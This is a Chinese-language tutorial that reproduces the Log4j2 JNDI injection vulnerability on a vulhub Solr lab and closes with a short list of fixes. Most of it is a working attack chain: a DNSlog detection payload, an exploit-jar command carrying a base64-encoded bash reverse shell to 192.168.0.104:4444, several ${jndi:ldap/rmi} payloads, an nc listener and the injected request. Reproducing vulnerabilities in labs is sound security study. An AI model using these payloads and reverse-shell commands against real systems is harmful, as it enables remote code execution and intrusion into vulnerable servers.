log4j2漏洞简单复现

文章目录

  • 0x1 log4j2漏洞简介
  • 0x2 log4j2漏洞验证判断
  • 0x3log4j2漏洞复现利用
  • 0x04 log4j2漏洞修复方式

0x1 log4j2漏洞简介

log4j2原理:

log4j2框架下的lookup服务提供了{}字段解析的功能,传进入的值会被直接解析,jdni服务就会请求远程的服务链接到本地对象,比如rmi和ladp。这时候服务端只要在{}里面调用jndi服务,即可反弹shell到指定服务器中。

0x2 log4j2漏洞验证判断

利用vulhub靶场进行复现

找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数

利用dnslog构造pyload来判断是否存在log4j漏洞,我这里用dnslog为ceye.io

构造的pyload:
cores?action=${jndi:ldap://${sys:java.version}.i913n8.ceye.io}

利用截图:

log4j2漏洞简单复现_第1张图片

漏洞严重成功截图:

log4j2漏洞简单复现_第2张图片

存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在ceye.io那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号

0x3log4j2漏洞复现利用

github上一个jndi注入工具:链接如下

https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
利用整体步骤:
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104" 
2.利用jndi工具得到注入pyload
 ${jndi:ldap://192.168.0.104:1389/bdy3jf}
3.利用nc监听shell端口
nc -lvvp 4444
4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}
5.得到shell

1.生成shell,并将shell编码成base64

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104" 
参数说明:
base64编码反弹shell脚本。-A参数接vps地址

开始漏洞利用,首先我们构造反弹shell用到的命令:

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
例如:
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1

log4j2漏洞简单复现_第3张图片

2.利用jndi工具得到注入pyload

log4j2漏洞简单复现_第4张图片

得到注入的pyload,如果反弹不成功,可以多试用几个pyload:

${jndi:rmi://192.168.0.104:1099/bdy3jf}
${jndi:ldap://192.168.0.104:1389/bdy3jf}

${jndi:rmi://192.168.0.104:1099/h8unbv}
${jndi:ldap://192.168.0.104:1389/h8unbv}

${jndi:rmi://192.168.0.104:1099/x3i6jm}

3.利用nc监听shell端口

nc -lvvp 端口
例如:
nc -lvvp 4444

nc监听的端口则是,反弹shell设置的端口

log4j2漏洞简单复现_第5张图片

4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}

log4j2漏洞简单复现_第6张图片

5.得到shell

jndi注入工具又回显

log4j2漏洞简单复现_第7张图片

反弹成功的shell

log4j2漏洞简单复现_第8张图片

0x04 log4j2漏洞修复方式

1.升级版本

2.临时方案

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。

你可能感兴趣的:(漏洞复现,web安全,java,log4j2,jndi注入,漏洞复现)